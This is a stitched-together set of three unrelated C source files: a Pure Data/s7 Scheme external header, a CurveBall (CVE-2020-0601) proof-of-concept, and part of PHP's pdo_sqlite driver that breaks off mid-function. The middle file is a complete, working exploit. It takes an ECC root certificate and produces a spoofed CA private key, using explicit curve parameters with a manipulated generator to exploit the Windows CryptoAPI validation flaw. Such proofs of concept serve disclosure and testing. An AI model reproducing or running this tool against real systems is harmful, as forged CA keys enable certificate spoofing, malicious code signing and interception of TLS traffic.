<gh_stars>0 #include <stdlib.h> #include "m_pd.h" #include "s7.h" #include "string.h" #include "time.h" #define MAX_OUTLETS 32 #define MAX_ATOMS_PER_MESSAGE 1024 #define MAX_ATOMS_PER_OUTPUT_LIST 1024 // for silencing unused param warnings #define UNUSED(x) (void)(x) static t_class *s4pd_class; // struct used (as void pointer) for clock scheduling typedef struct _s4pd_clock_info { // t_s4pd *obj; void *obj; t_symbol *handle; t_clock *clock; struct _s4pd_clock_info *previous; struct _s4pd_clock_info *next; } t_s4pd_clock_info; typedef struct _s4pd { t_object x_obj; s7_scheme *s7; // pointer to the s7 instance bool log_repl; // whether to automatically post return values from S7 // interpreter to console bool log_null; // whether to log return values that are null, unspecified, // or gensyms int num_outlets; t_outlet *outlets[MAX_OUTLETS]; t_symbol *filename; t_canvas *x_canvas; t_symbol *extern_dir; // FUTURE: directory of the external t_s4pd_clock_info *first_clock; // DUL of clocks t_s4pd_clock_info *last_clock; // keep pointer to most recent clock } t_s4pd; // conversion functions int s7_obj_to_atom(s7_scheme *s7, s7_pointer *s7_obj, t_atom *atom); s7_pointer atom_to_s7_obj(s7_scheme *s7, t_atom *ap); // main external methods void *s4pd_new(t_symbol *s, int argc, t_atom *argv); void s4pd_free(t_s4pd *x); void s4pd_init_s7(t_s4pd *x); void s4pd_load_from_path(t_s4pd *x, const char *filename); void s4pd_s7_load(t_s4pd *x, char *full_path); void s4pd_post_s7_res(t_s4pd *x, s7_pointer res); void s4pd_s7_eval_string(t_s4pd *x, char *string_to_eval); void s4pd_s7_call(t_s4pd *x, s7_pointer funct, s7_pointer args); void s4pd_eval_atoms_as_string(t_s4pd *x, t_symbol *s, long argc, t_atom *argv); // pd message methods void s4pd_reset(t_s4pd *x); void s4pd_log_null(t_s4pd *x, t_floatarg f); void s4pd_log_repl(t_s4pd *x, t_floatarg f); void s4pd_read(t_s4pd *x, t_symbol *s); void s4pd_message(t_s4pd *x, t_symbol *s, int argc, t_atom *argv); // s7 FFI functions static s7_pointer s7_load_from_path(s7_scheme *s7, s7_pointer args); static s7_pointer s7_pd_output(s7_scheme *s7, s7_pointer args); static s7_pointer s7_post(s7_scheme *s7, s7_pointer args); static s7_pointer s7_send(s7_scheme *s7, s7_pointer args); static s7_pointer s7_table_read(s7_scheme *s7, s7_pointer args); static s7_pointer s7_table_write(s7_scheme *s7, s7_pointer args); static s7_pointer s7_schedule_delay(s7_scheme *s7, s7_pointer args); static s7_pointer s7_cancel_delay(s7_scheme *s7, s7_pointer args); static s7_pointer s7_cancel_clocks(s7_scheme *s7, s7_pointer args); // schedule/clock void s4pd_clock_callback(void *arg); void s4pd_remove_clock(t_s4pd *x, t_s4pd_clock_info *clock_info); void s4pd_cancel_clocks(t_s4pd *x); /********************************************************************************/ // some helpers for string/symbol handling // return true if a string begins and ends with quotes int in_quotes(const char *string); char *trim_quotes(const char *input); // return true if a string starts with a single quote int is_quoted_symbol(const char *string); // return string of input dropping symbol quote char *trim_symbol_quote(const char *input); /********************************************************************************/ // main Pd boilerplate void s4pd_setup(void); void *s4pd_new(t_symbol *s, int argc, t_atom *argv); void s4pd_free(t_s4pd *x); void s4pd_init_s7(t_s4pd *x); void s4pd_read(t_s4pd *x, t_symbol *s); // get a pd struct pointer from the s7 environment pointer t_s4pd *get_pd_obj(s7_scheme *s7); // convert a Pd atom to the appropriate type of s7 pointer // only handles basic types for now but is working s7_pointer atom_to_s7_obj(s7_scheme *s7, t_atom *ap); int s7_obj_to_atom(s7_scheme *s7, s7_pointer *s7_obj, t_atom *atom); void s4pd_reset(t_s4pd *x); // the generic message handler that evaluates input as code void s4pd_message(t_s4pd *x, t_symbol *s, int argc, t_atom *argv); // 2021-11-22 - something wrong here, when receiving messages this way // and using delay, it's crashing. void s4pd_eval_atoms_as_string(t_s4pd *x, t_symbol *s, long argc, t_atom *argv); static s7_pointer s7_load_from_path(s7_scheme *s7, s7_pointer args); // send generic output out an outlet static s7_pointer s7_post(s7_scheme *s7, s7_pointer args); // send a message to a receiver static s7_pointer s7_send(s7_scheme *s7, s7_pointer args); // read a value from an Pd array static s7_pointer s7_table_read(s7_scheme *s7, s7_pointer args); // write a float to a Pd array static s7_pointer s7_table_write(s7_scheme *s7, s7_pointer args); // send output out an outlet static s7_pointer s7_pd_output(s7_scheme *s7, s7_pointer args); void s4pd_log_null(t_s4pd *x, t_floatarg arg); void s4pd_log_repl(t_s4pd *x, t_floatarg arg); void s4pd_post_s7_res(t_s4pd *x, s7_pointer res); // eval string with error logging void s4pd_s7_eval_string(t_s4pd *x, char *string_to_eval); // call s7_call, with error logging void s4pd_s7_call(t_s4pd *x, s7_pointer funct, s7_pointer args); // call s7_load using the pd searchpath void s4pd_load_from_path(t_s4pd *x, const char *filename); /********************************************************************************* * Scheduler and clock stuff */ // delay a function using Pd clock objects for floating point precision delays // called from scheme as (s4pd-schedule-delay) static s7_pointer s7_schedule_delay(s7_scheme *s7, s7_pointer args); // the callback that runs for any clock and is used to find the delayed function // in Scheme void s4pd_clock_callback(void *arg); // remove a clock_info pointer from the queue, updating queue head and tail // this just extracts the clock, which could be anywhere in the queue void s4pd_remove_clock(t_s4pd *x, t_s4pd_clock_info *clock_info); void s4pd_cancel_clocks(t_s4pd *x); // s7 method for cancelling clocks static s7_pointer s7_cancel_clocks(s7_scheme *s7, s7_pointer args);
apodlosky/PoC_CurveBall
curveball.c
/* * CVE-2020-0601 - CurveBall PoC * <NAME> <<EMAIL>> */ #include <assert.h> #include <stdbool.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <getopt.h> #include <openssl/bio.h> #include <openssl/bn.h> #include <openssl/err.h> #include <openssl/ec.h> #include <openssl/evp.h> #include <openssl/pem.h> #include <openssl/x509.h> #define DEFAULT_OUTPUT "spoof_ca.key" static char* inputFile = NULL; static char* outputFile = NULL; static BIGNUM* optPrivateKey = NULL; static bool optVerbose = false; // // Displays application usage. // void showUsage(const char *argv0) { fprintf(stderr, "Usage: %s [-d <#>] [-v] <input> [output]\n" "\n" "Parameters:\n" " -d <#> - Specifiy private key value (decimal), defaults to 1\n" " -v - Verbose output\n" " <input> - Input CA root certificate\n" " [output] - Output spoof certificate, defaults to " DEFAULT_OUTPUT "\n" "\n", argv0); } // // Parses command-line arguments. // bool parseArgs(int argc, char *argv[]) { int opt; // Disable getopt warnings opterr = 0; while ((opt = getopt(argc, argv, "d:v")) != -1) { switch (opt) { case 'd': if (!BN_dec2bn(&optPrivateKey, optarg)) { fprintf(stderr, "error converting '%s': \n", optarg); ERR_print_errors_fp(stderr); return false; } break; case 'v': optVerbose = true; break; default: fprintf(stderr, "invalid parameter '-%c'\n", optopt); return false; } } switch (argc - optind) { case 1: inputFile = strdup(argv[optind]); outputFile = strdup(DEFAULT_OUTPUT); return true; case 2: inputFile = strdup(argv[optind]); outputFile = strdup(argv[optind + 1]); return true; default: return false; } } // // Displays an OpenSSL error with the specified message prefix. // void showSslError(const char *prefix) { printf("[!] Error, %s: ", prefix); ERR_print_errors_fp(stdout); } // // Prints an OpenSSL BIGNUM to stdout. // void printBigNum(const BIGNUM* value) { char *conv; // BN_print_fp() displays in hexidecimal conv = BN_bn2dec(value); if (conv == NULL) { fputs("(null)", stdout); } else { fputs(conv, stdout); OPENSSL_free(conv); } } // // Prints an OpenSSL EC_POINT to stdout. // void printEcPoint(const EC_GROUP *group, const EC_POINT *point) { BN_CTX *bnCtx = NULL; BIGNUM *bnX = NULL; BIGNUM *bnY = NULL; bnCtx = BN_CTX_new(); if (bnCtx == NULL) { showSslError("BN_CTX_new failed"); return; } BN_CTX_start(bnCtx); bnX = BN_CTX_get(bnCtx); bnY = BN_CTX_get(bnCtx); if (bnX == NULL || bnY == NULL) { showSslError("BN_CTX_get failed"); goto cleanUp; } if (!EC_POINT_get_affine_coordinates_GFp(group, point, bnX, bnY, bnCtx)) { showSslError("EC_POINT_get_affine_coordinates_GFp failed"); goto cleanUp; } putchar('('); printBigNum(bnX); putchar(','); printBigNum(bnY); putchar(')'); cleanUp: if (bnCtx != NULL) { BN_CTX_end(bnCtx); BN_CTX_free(bnCtx); } } // // Prints an OpenSSL EC_KEY key to stdout. // void printEcKey(const EC_KEY *ecKey) { EC_KEY_print_fp(stdout, ecKey, 0); //ECParameters_print_fp(stdout, ecKey); } // // Reads an X.509 certificate (PEM format) from the specified file. // Note: The returned X509 pointer must be freed. // X509* readX509(const char *inputFile) { X509 *cert = NULL; BIO *fileIo; fileIo = BIO_new(BIO_s_file()); if (fileIo == NULL) { showSslError("BIO_new failed"); return NULL; } if (!BIO_read_filename(fileIo, inputFile)) { showSslError("BIO_read_filename failed"); } else { cert = PEM_read_bio_X509(fileIo, NULL, 0, NULL); if (cert == NULL) { showSslError("PEM_read_bio_X509 failed"); } } BIO_free(fileIo); return cert; } // // Determines if the given X509 certificate is ECC. // bool isX509Ec(X509 *cert) { const EVP_PKEY *publicKey; publicKey = X509_get0_pubkey(cert); if (publicKey == NULL) { showSslError("X509_get0_pubkey failed"); } else if (EVP_PKEY_id(publicKey) == EVP_PKEY_EC) { return true; } return false; } // // Retrieves the public key from an X509 ECC certificate. // EC_KEY* getX509EcPublicKey(X509 *cert) { EC_KEY *ecKey = NULL; EVP_PKEY *publicKey; publicKey = X509_get0_pubkey(cert); if (publicKey == NULL) { showSslError("X509_get0_pubkey failed"); } else { ecKey = EVP_PKEY_get0_EC_KEY(publicKey); if (ecKey == NULL) { showSslError("EVP_PKEY_get0_EC_KEY failed"); } } return ecKey; } // // Determines if the given EC key uses GF(p). // bool isEcKeyGFp(EC_KEY *ecKey) { const EC_GROUP *ecGroup; const EC_METHOD *ecMethod; const EC_METHOD *ecMethodGF2m; int fieldType; ecGroup = EC_KEY_get0_group(ecKey); if (ecGroup == NULL) { showSslError("EC_KEY_get0_group failed"); return false; } ecMethod = EC_GROUP_method_of(ecGroup); if (ecMethod == NULL) { showSslError("EC_GROUP_method_of failed"); return false; } fieldType = EC_METHOD_get_field_type(ecMethod); // Curve field must be a GFp based, NOT GF2m. Currently OpenSSL supports // 6 GFp methods, but only one GF2m method ecMethodGF2m = EC_GF2m_simple_method(); return fieldType != EC_METHOD_get_field_type(ecMethodGF2m); } // // Modifies the EC key using the trivial solution: // d' = 1 // Q' = Q // G' = Q // bool setEcKeyOne(EC_KEY *ecKey) { bool result = false; EC_GROUP *ecGroup = NULL; const EC_GROUP *ecOrigGroup; const EC_POINT *ptGenerator; const EC_POINT *ptPublicKey; const BIGNUM *bnOrder; const BIGNUM *bnCofactor; const BIGNUM *bnPrivateKey; printf(" [-] Duplicating EC key group...\n"); ecOrigGroup = EC_KEY_get0_group(ecKey); if (ecOrigGroup == NULL) { showSslError("EC_KEY_get0_group failed"); goto cleanUp; } ptPublicKey = EC_KEY_get0_public_key(ecKey); bnOrder = EC_GROUP_get0_order(ecOrigGroup); bnCofactor = EC_GROUP_get0_cofactor(ecOrigGroup); ecGroup = EC_GROUP_dup(ecOrigGroup); if (ecGroup == NULL) { showSslError("EC_GROUP_dup failed"); goto cleanUp; } // So easy! bnPrivateKey = BN_value_one(); ptGenerator = ptPublicKey; printf(" [-] Setting EC group to EXPLICIT...\n"); EC_GROUP_set_asn1_flag(ecGroup, OPENSSL_EC_EXPLICIT_CURVE); printf(" [-] Setting EC group parameters...\n"); if (!EC_GROUP_set_generator(ecGroup, ptGenerator, bnOrder, bnCofactor)) { showSslError("EC_GROUP_set_generator failed"); goto cleanUp; } printf(" [-] Setting EC private key to: 1\n"); if (!EC_KEY_set_private_key(ecKey, bnPrivateKey)) { showSslError("EC_KEY_set_private_key failed"); goto cleanUp; } printf(" [-] Setting EC key to new group...\n"); if (!EC_KEY_set_group(ecKey, ecGroup)) { showSslError("EC_KEY_set_group failed"); goto cleanUp; } // Success! result = true; cleanUp: if (ecGroup != NULL) { EC_GROUP_free(ecGroup); } return result; } // // Modifies the EC key using the non-trivial solution: // d' = specified // Q' = Q // G' = d'^-1 * G // bool setEcKeyCustom(EC_KEY *ecKey, const BIGNUM *bnPrivateKey) { bool result = false; const EC_GROUP *ecOrigGroup; const EC_POINT *ptPublicKey; const BIGNUM *bnOrder; const BIGNUM *bnCofactor; BN_CTX *bnCtx = NULL; BIGNUM *bnA = NULL; BIGNUM *bnB = NULL; BIGNUM *bnP = NULL; BIGNUM *bnTemp = NULL; EC_GROUP *ecGroup = NULL; EC_POINT *ptGenerator = NULL; bnCtx = BN_CTX_new(); if (bnCtx == NULL) { showSslError("BN_CTX_new failed"); return false; } BN_CTX_start(bnCtx); bnA = BN_CTX_get(bnCtx); bnB = BN_CTX_get(bnCtx); bnP = BN_CTX_get(bnCtx); if (bnA == NULL || bnB == NULL || bnP == NULL) { showSslError("BN_CTX_get failed"); goto cleanUp; } printf(" [-] Retrieving parameters from EC group...\n"); ecOrigGroup = EC_KEY_get0_group(ecKey); if (ecOrigGroup == NULL) { showSslError("EC_KEY_get0_group failed"); goto cleanUp; } ptPublicKey = EC_KEY_get0_public_key(ecKey); if (!EC_GROUP_get_curve_GFp(ecOrigGroup, bnP, bnA, bnB, bnCtx)) { showSslError("EC_GROUP_get_curve_GFp failed"); goto cleanUp; } bnOrder = EC_GROUP_get0_order(ecOrigGroup); bnCofactor = EC_GROUP_get0_cofactor(ecOrigGroup); printf(" [-] Verifying chosen private key...\n"); if (BN_cmp(bnPrivateKey, BN_value_one()) <= 0) { printf(" [*] Error, private key must be greater than 1\n"); goto cleanUp; } if (BN_cmp(bnPrivateKey, (BIGNUM*)bnOrder) >= 1) { printf(" [*] Error, private key must be less than curve order of "); printBigNum(bnOrder); putchar('\n'); goto cleanUp; } printf(" [-] Creating new EC group over GF(p)...\n"); ecGroup = EC_GROUP_new_curve_GFp(bnP, bnA, bnB, bnCtx); if (ecGroup == NULL) { showSslError("EC_GROUP_new_curve_GFp failed"); goto cleanUp; } EC_GROUP_set_asn1_flag(ecGroup, OPENSSL_EC_EXPLICIT_CURVE); printf(" [-] Calcuating generator point...\n"); ptGenerator = EC_POINT_new(ecGroup); if (ptGenerator == NULL) { showSslError("EC_POINT_new failed"); goto cleanUp; } // // Original: // params : (a,b,p,G,n,h) over GF(p) // pubkey : Q // privkey: d (not known) // // Spoof: // Q' = Q (per flaw) // d' = rand(), >1 and <n // G' = d'^-1 * G // (a',b',p',n',h') = (a,b,p,n,h) // // temp = 1/d' mod n (n = order of curve) // 'G = temp * Q // bnTemp = BN_mod_inverse(NULL, bnPrivateKey, bnOrder, bnCtx); if (bnTemp == NULL) { showSslError("BN_mod_inverse failed"); goto cleanUp; } if (!EC_POINT_mul(ecGroup, ptGenerator, NULL, ptPublicKey, bnTemp, bnCtx)) { showSslError("EC_POINT_mul failed"); goto cleanUp; } printf(" [-] Setting EC group generator to: "); printEcPoint(ecGroup, ptGenerator); putchar('\n'); if (!EC_GROUP_set_generator(ecGroup, ptGenerator, bnOrder, bnCofactor)) { showSslError("EC_GROUP_set_generator failed"); goto cleanUp; } printf(" [-] Setting EC private key to: "); printBigNum(bnPrivateKey); putchar('\n'); if (!EC_KEY_set_private_key(ecKey, bnPrivateKey)) { showSslError("EC_KEY_set_private_key failed"); goto cleanUp; } printf(" [-] Setting EC key to new group...\n"); if (!EC_KEY_set_group(ecKey, ecGroup)) { showSslError("EC_KEY_set_group failed"); goto cleanUp; } // Success! result = true; cleanUp: if (ptGenerator != NULL) { EC_POINT_free(ptGenerator); } if (ecGroup != NULL) { EC_GROUP_free(ecGroup); } if (bnCtx != NULL) { BN_CTX_end(bnCtx); BN_CTX_free(bnCtx); } return result; } // // Modifies the EC key per the CryptoAPI's certificate cache flaw. // bool modifyEcKey(EC_KEY *ecKey) { // Check for user-specified private key if (optPrivateKey != NULL && !BN_is_one(optPrivateKey)) { return setEcKeyCustom(ecKey, optPrivateKey); } return setEcKeyOne(ecKey); } // // Verifies EC key parameters are valid. // bool verifyEcKey(EC_KEY *ecKey) { // According to OpenSSL's great documentation: // 'EC_KEY_check_key() performs various sanity checks...' various you say?! if (!EC_KEY_check_key(ecKey)) { showSslError("EC_KEY_check_key failed"); return false; } // TODO: more checks? return true; } // // Writes an EC key to the specified file in PEM format. // bool writeEcKey(EC_KEY *ecKey, char *outputFile) { bool result = false; BIO *fileIo; fileIo = BIO_new(BIO_s_file()); if (fileIo == NULL) { showSslError("BIO_new failed"); return false; } // BIO_write_filename() does not take a const char* for the path... if (!BIO_write_filename(fileIo, outputFile)) { showSslError("BIO_write_filename failed"); } else { if (!PEM_write_bio_ECPrivateKey(fileIo, ecKey, NULL, NULL, 0, NULL, NULL)) { showSslError("PEM_write_bio_ECPrivateKey failed"); } else { result = true; } } BIO_free(fileIo); return result; } int main(int argc, char *argv[]) { int result = EXIT_FAILURE; X509 *cert = NULL; EC_KEY *ecKey = NULL; if (!parseArgs(argc, argv)) { showUsage(argv[0]); exit(EXIT_FAILURE); } assert(inputFile); assert(outputFile); printf("[*] CA Spoofer for CVE-2020-0601 by <NAME>\n"); printf("[-] Reading input certificate '%s'...\n", inputFile); cert = readX509(inputFile); if (cert == NULL) { goto cleanUp; } printf("[-] Validating X.509 certificate...\n"); if (!isX509Ec(cert)) { printf("[!] Error, NOT an EC public certificate\n"); goto cleanUp; } printf("[-] Retrieving EC public key and parameters...\n"); ecKey = getX509EcPublicKey(cert); if (ecKey == NULL) { goto cleanUp; } if (!isEcKeyGFp(ecKey)) { printf("[!] Error, NOT an EC certificate using GF(p) curve\n"); goto cleanUp; } printf("[-] Modifying EC key per exploit..\n"); if (!modifyEcKey(ecKey)) { goto cleanUp; } if (optVerbose) { printf("[-] Dumping EC key...\n"); printEcKey(ecKey); } printf("[-] Verifying EC key...\n"); if (!verifyEcKey(ecKey)) { goto cleanUp; } printf("[-] Writing output certificate '%s'...\n", outputFile); if (writeEcKey(ecKey, outputFile)) { printf("[*] Finished!\n"); result = EXIT_SUCCESS; } cleanUp: if (inputFile != NULL) { free(inputFile); } if (outputFile != NULL) { free(outputFile); } if (optPrivateKey != NULL) { BN_free(optPrivateKey); } if (cert != NULL) { X509_free(cert); } if (result != EXIT_SUCCESS) { printf("[*] Exiting with %d\n", result); } return result; }
alex-scott/php-src
ext/pdo_sqlite/sqlite_driver.c
<reponame>alex-scott/php-src /* +----------------------------------------------------------------------+ | PHP Version 7 | +----------------------------------------------------------------------+ | Copyright (c) The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | <EMAIL> so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: <NAME> <<EMAIL>> | +----------------------------------------------------------------------+ */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #include "php_ini.h" #include "ext/standard/info.h" #include "pdo/php_pdo.h" #include "pdo/php_pdo_driver.h" #include "php_pdo_sqlite.h" #include "php_pdo_sqlite_int.h" #include "zend_exceptions.h" int _pdo_sqlite_error(pdo_dbh_t *dbh, pdo_stmt_t *stmt, const char *file, int line) /* {{{ */ { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; pdo_error_type *pdo_err = stmt ? &stmt->error_code : &dbh->error_code; pdo_sqlite_error_info *einfo = &H->einfo; einfo->errcode = sqlite3_errcode(H->db); einfo->file = file; einfo->line = line; if (einfo->errcode != SQLITE_OK) { if (einfo->errmsg) { pefree(einfo->errmsg, dbh->is_persistent); } einfo->errmsg = pestrdup((char*)sqlite3_errmsg(H->db), dbh->is_persistent); } else { /* no error */ strncpy(*pdo_err, PDO_ERR_NONE, sizeof(*pdo_err)); return 0; } switch (einfo->errcode) { case SQLITE_NOTFOUND: strncpy(*pdo_err, "42S02", sizeof(*pdo_err)); break; case SQLITE_INTERRUPT: strncpy(*pdo_err, "01002", sizeof(*pdo_err)); break; case SQLITE_NOLFS: strncpy(*pdo_err, "HYC00", sizeof(*pdo_err)); break; case SQLITE_TOOBIG: strncpy(*pdo_err, "22001", sizeof(*pdo_err)); break; case SQLITE_CONSTRAINT: strncpy(*pdo_err, "23000", sizeof(*pdo_err)); break; case SQLITE_ERROR: default: strncpy(*pdo_err, "HY000", sizeof(*pdo_err)); break; } if (!dbh->methods) { zend_throw_exception_ex(php_pdo_get_exception(), einfo->errcode, "SQLSTATE[%s] [%d] %s", *pdo_err, einfo->errcode, einfo->errmsg); } return einfo->errcode; } /* }}} */ static int pdo_sqlite_fetch_error_func(pdo_dbh_t *dbh, pdo_stmt_t *stmt, zval *info) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; pdo_sqlite_error_info *einfo = &H->einfo; if (einfo->errcode) { add_next_index_long(info, einfo->errcode); add_next_index_string(info, einfo->errmsg); } return 1; } static void pdo_sqlite_cleanup_callbacks(pdo_sqlite_db_handle *H) { struct pdo_sqlite_func *func; while (H->funcs) { func = H->funcs; H->funcs = func->next; if (H->db) { /* delete the function from the handle */ sqlite3_create_function(H->db, func->funcname, func->argc, SQLITE_UTF8, func, NULL, NULL, NULL); } efree((char*)func->funcname); if (!Z_ISUNDEF(func->func)) { zval_ptr_dtor(&func->func); } if (!Z_ISUNDEF(func->step)) { zval_ptr_dtor(&func->step); } if (!Z_ISUNDEF(func->fini)) { zval_ptr_dtor(&func->fini); } efree(func); } while (H->collations) { struct pdo_sqlite_collation *collation; collation = H->collations; H->collations = collation->next; if (H->db) { /* delete the collation from the handle */ sqlite3_create_collation(H->db, collation->name, SQLITE_UTF8, collation, NULL); } efree((char*)collation->name); if (!Z_ISUNDEF(collation->callback)) { zval_ptr_dtor(&collation->callback); } efree(collation); } } static int sqlite_handle_closer(pdo_dbh_t *dbh) /* {{{ */ { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; if (H) { pdo_sqlite_error_info *einfo = &H->einfo; pdo_sqlite_cleanup_callbacks(H); if (H->db) { #ifdef HAVE_SQLITE3_CLOSE_V2 sqlite3_close_v2(H->db); #else sqlite3_close(H->db); #endif H->db = NULL; } if (einfo->errmsg) { pefree(einfo->errmsg, dbh->is_persistent); einfo->errmsg = NULL; } pefree(H, dbh->is_persistent); dbh->driver_data = NULL; } return 0; } /* }}} */ static int sqlite_handle_preparer(pdo_dbh_t *dbh, const char *sql, size_t sql_len, pdo_stmt_t *stmt, zval *driver_options) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; pdo_sqlite_stmt *S = ecalloc(1, sizeof(pdo_sqlite_stmt)); int i; const char *tail; S->H = H; stmt->driver_data = S; stmt->methods = &sqlite_stmt_methods; stmt->supports_placeholders = PDO_PLACEHOLDER_POSITIONAL|PDO_PLACEHOLDER_NAMED; if (PDO_CURSOR_FWDONLY != pdo_attr_lval(driver_options, PDO_ATTR_CURSOR, PDO_CURSOR_FWDONLY)) { H->einfo.errcode = SQLITE_ERROR; pdo_sqlite_error(dbh); return 0; } i = sqlite3_prepare_v2(H->db, sql, sql_len, &S->stmt, &tail); if (i == SQLITE_OK) { return 1; } pdo_sqlite_error(dbh); return 0; } static zend_long sqlite_handle_doer(pdo_dbh_t *dbh, const char *sql, size_t sql_len) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; char *errmsg = NULL; if (sqlite3_exec(H->db, sql, NULL, NULL, &errmsg) != SQLITE_OK) { pdo_sqlite_error(dbh); if (errmsg) sqlite3_free(errmsg); return -1; } else { return sqlite3_changes(H->db); } } static char *pdo_sqlite_last_insert_id(pdo_dbh_t *dbh, const char *name, size_t *len) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; char *id; id = php_pdo_int64_to_str(sqlite3_last_insert_rowid(H->db)); *len = strlen(id); return id; } /* NB: doesn't handle binary strings... use prepared stmts for that */ static int sqlite_handle_quoter(pdo_dbh_t *dbh, const char *unquoted, size_t unquotedlen, char **quoted, size_t *quotedlen, enum pdo_param_type paramtype ) { *quoted = safe_emalloc(2, unquotedlen, 3); sqlite3_snprintf(2*unquotedlen + 3, *quoted, "'%q'", unquoted); *quotedlen = strlen(*quoted); return 1; } static int sqlite_handle_begin(pdo_dbh_t *dbh) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; char *errmsg = NULL; if (sqlite3_exec(H->db, "BEGIN", NULL, NULL, &errmsg) != SQLITE_OK) { pdo_sqlite_error(dbh); if (errmsg) sqlite3_free(errmsg); return 0; } return 1; } static int sqlite_handle_commit(pdo_dbh_t *dbh) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; char *errmsg = NULL; if (sqlite3_exec(H->db, "COMMIT", NULL, NULL, &errmsg) != SQLITE_OK) { pdo_sqlite_error(dbh); if (errmsg) sqlite3_free(errmsg); return 0; } return 1; } static int sqlite_handle_rollback(pdo_dbh_t *dbh) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; char *errmsg = NULL; if (sqlite3_exec(H->db, "ROLLBACK", NULL, NULL, &errmsg) != SQLITE_OK) { pdo_sqlite_error(dbh); if (errmsg) sqlite3_free(errmsg); return 0; } return 1; } static int pdo_sqlite_get_attribute(pdo_dbh_t *dbh, zend_long attr, zval *return_value) { switch (attr) { case PDO_ATTR_CLIENT_VERSION: case PDO_ATTR_SERVER_VERSION: ZVAL_STRING(return_value, (char *)sqlite3_libversion()); break; default: return 0; } return 1; } static int pdo_sqlite_set_attr(pdo_dbh_t *dbh, zend_long attr, zval *val) { pdo_sqlite_db_handle *H = (pdo_sqlite_db_handle *)dbh->driver_data; switch (attr) { case PDO_ATTR_TIMEOUT: sqlite3_busy_timeout(H->db, zval_get_long(val) * 1000); return 1; } return 0; } static int do_callback(struct pdo_sqlite_fci *fc, zval *cb, int argc, sqlite3_value **argv, sqlite3_context *context, int is_agg) { zval *zargs = NULL; zval retval; int i; int ret; int fake_argc; zend_reference *agg_context = NULL; if (is_agg) { is_agg = 2; } fake_argc = argc + is_agg; fc->fci.size = sizeof(fc->fci); ZVAL_COPY_VALUE(&fc->fci.function_name, cb); fc->fci.object = NULL; fc->fci.retval = &retval; fc->fci.param_count = fake_argc; /* build up the params */ if (fake_argc) { zargs = safe_emalloc(fake_argc, sizeof(zval), 0); } if (is_agg) { agg_context = (zend_reference*)sqlite3_aggregate_context(context, sizeof(zend_reference)); if (!agg_context) { ZVAL_NULL(&zargs[0]); } else { if (Z_ISUNDEF(agg_context->val)) { GC_SET_REFCOUNT(agg_context, 1); GC_TYPE_INFO(agg_context) = IS_REFERENCE; ZVAL_NULL(&agg_context->val); } ZVAL_REF(&zargs[0], agg_context); } ZVAL_LONG(&zargs[1], sqlite3_aggregate_count(context)); } for (i = 0; i < argc; i++) { /* get the value */ switch (sqlite3_value_type(argv[i])) { case SQLITE_INTEGER: ZVAL_LONG(&zargs[i + is_agg], sqlite3_value_int(argv[i])); break; case SQLITE_FLOAT: ZVAL_DOUBLE(&zargs[i + is_agg], sqlite3_value_double(argv[i])); break; case SQLITE_NULL: ZVAL_NULL(&zargs[i + is_agg]); break; case SQLITE_BLOB: case SQLITE3_TEXT: default: ZVAL_STRINGL(&zargs[i + is_agg], (char*)sqlite3_value_text(argv[i]), sqlite3_value_bytes(argv[i])); break; } } fc->fci.params = zargs; if ((ret = zend_call_function(&fc->fci, &fc->fcc)) == FAILURE) { php_error_docref(NULL, E_WARNING, "An error occurred while invoking the callback"); } /* clean up the params */ if (zargs) { for (i = is_agg; i < fake_argc; i++) { zval_ptr_dtor(&zargs[i]); } if (is_agg) { zval_ptr_dtor(&zargs[1]); } efree(zargs); } if (!is_agg || !argv) { /* only set the sqlite return value if we are a scalar function, * or if we are finalizing an aggregate */ if (!Z_ISUNDEF(retval)) { switch (Z_TYPE(retval)) { case IS_LONG: sqlite3_result_int(context, Z_LVAL(retval)); break; case IS_NULL: sqlite3_result_null(context); break; case IS_DOUBLE: sqlite3_result_double(context, Z_DVAL(retval)); break; default: if (!try_convert_to_string(&retval)) { ret = FAILURE; break; } sqlite3_result_text(context, Z_STRVAL(retval), Z_STRLEN(retval), SQLITE_TRANSIENT); break; } } else { sqlite3_result_error(context, "failed to invoke callback", 0); } if (agg_context) { zval_ptr_dtor(&agg_context->val); } } else { /* we're stepping in an aggregate; the return value goes into * the context */ if (agg_context) { zval_ptr_dtor(&agg_context->val); } if (!Z_ISUNDEF(retval)) { ZVAL_COPY_VALUE(&agg_context->val, &retval); ZVAL_UNDEF(&retval); } else { ZVAL_UNDEF(&agg_context->val); } } if (!Z_ISUNDEF(retval)) { zval_ptr_dtor(&retval); } return ret; } static void php_sqlite3_func_callback(sqlite3_context *context, int argc, sqlite3_value **argv) { struct pdo_sqlite_func *func = (struct pdo_sqlite_func*)sqlite3_user_data(context); do_callback(&func->afunc, &func->func, argc, argv, context, 0); } static void php_sqlite3_func_step_callback(sqlite3_context *context, int argc, sqlite3_value **argv) { struct pdo_sqlite_func *func = (struct pdo_sqlite_func*)sqlite3_user_data(context); do_callback(&func->astep, &func->step, argc, argv, context, 1); } static void php_sqlite3_func_final_callback(sqlite3_context *context) { struct pdo_sqlite_func *func = (struct pdo_sqlite_func*)sqlite3_user_data(context); do_callback(&func->afini, &func->fini, 0, NULL, context, 1); } static int php_sqlite3_collation_callback(void *context, int string1_len, const void *string1, int string2_len, const void *string2) { int ret; zval zargs[2]; zval retval; struct pdo_sqlite_collation *collation = (struct pdo_sqlite_collation*) context; collation->fc.fci.size = sizeof(collation->fc.fci); ZVAL_COPY_VALUE(&collation->fc.fci.function_name, &collation->callback); collation->fc.fci.object = NULL; collation->fc.fci.retval = &retval; // Prepare the arguments. 